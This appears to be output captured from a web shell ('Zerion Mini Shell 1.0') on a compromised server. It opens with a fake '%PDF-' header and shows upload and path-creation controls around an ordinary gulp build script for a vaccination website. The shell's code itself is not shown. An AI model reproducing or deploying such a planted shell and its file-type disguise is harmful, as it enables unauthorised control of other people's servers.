%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/vacivi36/vacinagripe.vacivitta.com.br/
Upload File :
Create Path :
Current File : //home2/vacivi36/vacinagripe.vacivitta.com.br/gulpfile.js

const gulp = require('gulp');
const autoprefixer = require('gulp-autoprefixer');
const browserSync = require('browser-sync').create();
const concat = require('gulp-concat');
const uglify = require('gulp-uglify');
sass = require('gulp-sass')(require('sass'));


function compilarSass() {
    return gulp
        .src('styles/main.scss')
        .pipe(sass({
            outputStyle: 'compressed'
        }))
        .pipe(autoprefixer({
            Browserslist: ['last 2 versions'],
            cascade: false
        }))
        .pipe(sass().on('error', sass.logError))
        .pipe(gulp.dest('assets/css'))
        .pipe(browserSync.stream());
}

gulp.task('sass', compilarSass);


function gulpJS() {
    return gulp.src([
        'node_modules/uikit/dist/js/uikit-core.min.js',
        'node_modules/uikit/dist/js/uikit.min.js'
    ])

        .pipe(concat('main.js'))
        .pipe(uglify('main.js'))
        .pipe(gulp.dest('assets/js'))
        .pipe(browserSync.stream());
}

gulp.task('mainjs', gulpJS);



function watchproject() {
    gulp.watch('styles/*.scss', compilarSass);
    gulp.watch('scripts/*.js', gulpJS);
}

gulp.task('watch', watchproject);

gulp.task('default', gulp.parallel('watch', 'sass', 'mainjs'));

Zerion Mini Shell 1.0